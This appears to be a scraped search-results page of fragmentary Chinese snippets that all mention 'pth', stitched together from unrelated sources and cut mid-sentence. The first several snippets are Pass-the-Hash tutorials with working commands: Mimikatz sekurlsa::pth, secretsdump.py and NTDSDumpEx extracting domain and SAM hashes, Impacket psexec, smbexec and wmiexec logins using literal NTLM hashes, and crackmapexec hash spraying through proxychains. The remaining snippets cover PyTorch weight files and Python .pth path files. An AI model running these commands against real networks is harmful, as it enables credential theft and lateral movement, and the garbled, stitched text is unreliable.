PTH 即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是再目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的,二是随着信息安全意识的提高,弱口令情况逐渐降低...PTH攻击最酷的地方并不是hash传递利用的过程,而是hash的获取过程,所以接下来90%的篇幅为hash获取的内容,开工!...工具地址:https://github.com/zcgonvh/NTDSDumpEx/releases NTDSDumpEx -d ntds.dit -s system -o domain.txt python...python secretsdump.py -system SYSTEM -ntds ntds.dit local secretsdump脚本直接导出域hash 导出本地SAM中的hash: python...-hash esaad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4 rabbitmask@192.168.15.181 python
MSF进行哈希传递攻击PtH(工作组) 有些时候,当我们获取到了某台主机的 administrator 用户的密码哈希值 ,并且该主机的445端口打开着。...privilege::debug #先提权 #使用administrator用户的NTLM哈希值进行攻击 sekurlsa::pth /user:用户名 /domain:目标机器IP /ntlm...Server 2003 本地管理员: administrator xie Windows Server 2008 本地管理员: administrator xie mimikatz进行哈希传递攻击PtH...#获取kerberos加密凭证 利用获得到的AES256或AES128进行Key攻击 privilege::debug #使用AES-256进行Key传递攻击 sekurlsa::pth...KB2871997针对PTH攻击,而 KB2928120 针对GPP(Group Policy Preference)。
假设我有一个训练好的模型名叫net1,则:torch.save(net1, ‘7-net.pth’) # 保存整个神经网络的结构和模型参数torch.save(net1, ‘7-net.pkl’) #...’) # 同上如果你是使用torch.save方法来进行模型参数的保存,那保存文件的后缀其实没有任何影响,结果都是一样的,很多.pkl的文件也是用torch.save保存下来的,和.pth文件一模一样的...------------------------------------------------------------不过,如果应用场景不是在这里,这两种格式的文件还是有区别的,.pkl文件是python...而.pth文件则有不同的应用,Python在遍历已知的库文件目录过程中,如果见到一个.pth 文件,就会将文件中所记录的路径加入到 sys.path 设置中,于是 .pth 文件指明的库也就可以被 Python...但其实不管pkl文件还是pth文件,都是以二进制形式存储的,没有本质上的区别,你用pickle这个库去加载pkl文件或pth文件,效果都是一样的。
0x02 为什么要进行hash传递 PTH,即Pass The Hash,首先我们来说下为什么要使用HASH传递,一是目标主机在win server 2012之后,lsass.exe进程中是抓不到明文密码的...CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" ③使用hash登录域控RDP privilege::debug sekurlsa::pth...python psexec.py -hashes 00000000000000000000000000000000:afffeba176210fad4628f0524bfe1942 administrator...当我们有了凭证的时候,我们就可以执行pth攻击来通过身份认证了。 Impacket有一个脚本可以利用WMI来获得靶机的会话并执行各种任务。执行这些任务需要用户的凭证。...因为需要认证,所以我们将会通过pth攻击来获取端点信息,参数设置:域,用户名,IP地址及hash值。
&NTLM 概述 PTH = Pass The Hash PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。.../administrator@192.168.3.32 #返回system权限 python3 smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c.../administrator@192.168.3.32 #返回system权限 python3 wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c...1、Linux Proxychains使用 代理配置:Proxychains.conf 代理调用:Proxychains 命令 2、密码喷射-域用户登录PTH: proxychains python...cme smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c #域用户HASH登录 proxychains python
中建立 Windows 路径的字符串: >>> pth = 'c:\new_books\python' # (10) >>> print(pth) c: ew_books\python print...为此,修改为: >>> pth = 'c:\\new_books\python' # (11) >>> print(pth) c:\new_books\python 比较注释(11)和(10)的差异...此外,还有一种方法: >>> pth = r'c:\new_books\python' # (12) >>> print(pth) c:\new_books\python >>> pth 'c:\...>>> pth = 'c:\\new_books\\python\\' # (14) >>> print(pth) c:\new_books\python\ >>> pth = r'c:\...new_books\python' + '\\' # (15) >>> pth 'c:\\new_books\\python\\' >>> print(pth) c:\new_books\python
git clone https://github.com/foolwood/SiamMask.git && cd SiamMask export SiamMask=$PWD 设置python环境 conda...create -n siammask python=3.6 source activate siammask pip install -r requirements.txt bash make.sh...export PYTHONPATH=$PWD:$PYTHONPATH python ../.....SiamMask_VOT.pth VOT2016 0 bash test_mask_refine.sh config_vot.json SiamMask_VOT.pth VOT2018 0 python.../test/VOT2016 python ../../tools/eval.py --dataset VOT2018 --tracker_prefix Cus --result_dir .
From here on I'll use a confidence threshold of 0.15. python eval.py --trained_model=weights/yolact_base...on the specified image. python eval.py --trained_model=weights/yolact_base_54_800000.pth --score_threshold...=0.15 --top_k=15 --image=my_image.png # Process an image and save it to another file. python eval.py..._54_800000.pth --score_threshold=0.15 --top_k=15 --images=path/to/input/folder:path/to/output/folder...python eval.py --trained_model=weights/yolact_base_54_800000.pth --score_threshold=0.15 --top_k=15 --
设置python 模块搜索路径 working.py def greet(name): return 'Hello' + name 引用模块代码 import working print(working.greet...('Bill')) 永久设置 设置 PYTHONPATH 环境变量 [32] [在这里插入图片描述] [在这里插入图片描述] 添加.pth 文件 在python 目录添加一个扩展名为 .pth 的文件,...将需要的模块路径写入,这样,python 脚本在运行时,会自动搜索路径 我的是 anaconda, 路径为 "python3.7/site-packages/xxx.pth" 如果使用 PyCharm...可以直接设置搜索路径 将自己写的模块放在文件夹中,右键此文件夹选择 **Mark Directory as** 下的 **Sources Root** 即可 [在这里插入图片描述] 临时设置 添加.pth
本文在Ubuntu18.04环境下进行测试: 首先将python的源更换为国内源:ubuntu修改python的pip源为国内源 2..../config/nanodet-m.yml --model model/nanodet_m.pth --path street.png '''目标检测-视频文件''' # python detect_main.py.../config/nanodet-m.yml --model model/nanodet_m.pth --path test.mp4 '''目标检测-摄像头''' # python detect_main.py.../config/nanodet-m.yml --model model/nanodet_m.pth --path 0 接下来就可以看到目标检测后的效果了: 5..../model/nanodet_m.pth" out_path = r'..
有三种方式添加,均验证通过: 1 临时添加,在一个shell窗口中 import sys sys.path sys.path.append(path) 但退出该shell窗口,即失效 2 使用pth文件永久添加...使用pth文件,在 site-packages 文件中创建 .pth文件,将模块的路径写进去,一行一个路径,以下是一个示例,pth文件也可以使用注释: # .pth file for the my...(这行是注释) E:\DjangoWord E:\DjangoWord\mysite E:\DjangoWord\mysite\polls 这个不失为一个好的方法,但存在管理上的问题,而且不能在不同的python...路径会自动加入到sys.path中,而且可以在不同的python版本中共享,应该是一样较为方便的方法 修改自:https://www.cnblogs.com/huchong/p/7349894.html
首先该项目要求 Python 3.8 以上版本,pytorch 1.7 以上版本,torchvision 0.8 以上版本,并安装相关依赖项。...然后,按照如下代码安装 Segment Anything: python -m pip install -e segment_anythingbr 安装 GroundingDINO: python...pip install opencv-python pycocotools matplotlib onnxruntime onnx ipykernelbr 运行 GroundingDINO demo 下载.../groundingdino/config/GroundingDINO_SwinT_OGC.py \ --grounded_checkpoint groundingdino_swint_ogc.pth...\ --sam_checkpoint sam_vit_h_4b8939.pth \ --input_image assets/demo1.jpg \ --output_dir "outputs"
1.1 模块搜索路径 当python调用模块的时候,首先它要知道去哪儿搜索,python模块的搜索路径有: 1) 当前程序的主目录,也就是你运行程序的目录。...4) .pth文件目录。 对于1)和3)都是系统自动生成的,2)和4)用于用户自定义扩展搜索路径。...2) 将模块目录添加到系统环境标量中的PYTHONPATH中 3) 用函数sys.path.append(‘…’)添加 4) 添加.pth文件。...在site-packages添加一个路径文件,如mypkpath.pth,必须以.pth为后缀,写上你要加入的模块文件所在的目录名称就是了。...1 windows: c:\python27\site-packages,把pth文件直接放在c:\python27(或其他python安装目录)目录下测试也是有效的 2 linux(ubuntu)
easy_install让python包管理变得 如果你想对Python包管理在实际操作过程中的实际应用方案更加的简便,你就可以试用easy_install这一工具,你如果在python包管理中想用这一软件...如果想使用easy_install工具,可以直接安装ez_setup.py脚本,再python ez_setup.py(之前先要安装python): 首先下载easy_install的安装包,下载地址:...MySQL-python 通过easy_install安装软件,相关安装信息会保存到easy-install.pth文件里,路径类似如下形式: Windows:C:\Python25\Lib\site-packages...\ easy-install.pth Linux:/usr/local/lib/python25/ site-packages/easy-install.pth 如果想删除通过easy_install...安装的软件包,比如说:MySQL-python,可以执行命令: easy_install -m MySQL-python 此操作会从easy-install.pth文件里把MySQL-python的相关信息抹去
有三种方式添加,均验证通过: 1 临时添加,在一个shell窗口中 import sys sys.path sys.path.append(path) 但退出该shell窗口,即失效 2 使用pth文件永久添加... 使用pth文件,在 site-packages 文件中创建 .pth文件,将模块的路径写进去,一行一个路径,以下是一个示例,pth文件也可以使用注释: # .pth file for the my...(这行是注释) E:\DjangoWord E:\DjangoWord\mysite E:\DjangoWord\mysite\polls 这个不失为一个好的方法,但存在管理上的问题,而且不能在不同的python...路径会自动加入到sys.path中,而且可以在不同的python版本中共享,应该是一样较为方便的方法
Python的开源模块是个好东西,大牛们共享的许多模块也加快了大家开发的速度,许多开源模块可以在这里找到 https://pypi.python.org/pypi 下面结合开源模块graphics说说...Python3如何导入自定义模块。...方法一:通过sys模块导入自定义模块的path sys模块是python内置的,因此我们导入自定义模块的步骤如下: 先导入sys模块;然后通过sys.path.append(path) 函数来导入自定义模块所在的目录...方法二:通过pth文件找到自定义模块 创建一个 module_graphics.pth 文件,里面内容就是graphics模块所在的目录:D:\Python\Python3rdEdSolutionsAndCode_Zelle...将该 module_graphics.pth 文件放到python安装路径的site-packages文件夹。
好了不卖关子了,这里面缺少了.pth文件1包含的搜索路径。...通常setuptools在安装可编辑(editable)包的时候会在__pypackages__/X.Y/lib下面塞一个easy-install.pth文件,用来把可编辑包的真正路径给包含进sys.path...那么只能走另外的路了,其实除了easy-install.pth,setuptools还会添加一个site.py来完成这个.pth 文件的加载。.../versions/3.8/lib/python3.8/lib-dynload' ] 这其中第二个路径,就是通过easy-install.pth加载的路径。...Footnotes .pth 文件中包含的路径可以被加载到sys.path中,参考官方文档 ↩
今天的方法,是在Python的site-packages文件夹中做文章。...相信很多同学都知道,任何放到site-packages文件夹里面的.py文件或者文件夹,都可以在Python中直接导入: 看到这里,肯定有同学要问,那是不是把my_awesome_util文件夹整个复制到...我们要用到的,是Python的一个特性,叫做.pth文件。在site-packages文件夹中,任意创建一个.pth文件。文件名可以随便取,只要不跟已有的模块冲突就可以了。例如叫做xxxx.pth。...例如: 现在,我在任何一个文件夹中启动Python,直接就可以导入my_awesome_util文件夹中的任何.py文件: .pth文件可以有很多行,每行一个文件夹的绝对路径,就可以让Python同时导入这些文件夹里面的所有...如果不想重新安装,我可以把A环境的site-packages文件夹的绝对路径,写入到一个.pth文件中,然后把这个文件存放到B环境的site-packages文件夹中。
获取预训练模型(转换权重) 读者可以到【我爱计算机视觉】公众号后台回复『mie』下载转换好的*.pth权重文件。..._300e_coco.pdparams -oc ppyoloe_crn_l_300e_coco.pth -nc 80 python tools/convert_weights.py -f exps/ppyoloe...(2)预测图片文件夹,项目根目录下执行: python tools/demo.py image -f exps/ppyolo/ppyolo_r18vd.py -c ppyolo_r18vd.pth --....py -d 1 -b 8 -eb 4 -c ppyolo_r50vd_2x.pth 如果训练因为某些原因中断,想要读取之前保存的模型恢复训练,只要修改-c,加上--resume,输入: python...评估 总体的命令格式是 python tools/eval.py -f {exp配置文件的路径} -d 1 -b 4 -c {读取的.pth权重文件的路径} --conf {分数过滤阈值} --tsize
领取专属 10元无门槛券
手把手带您无忧上云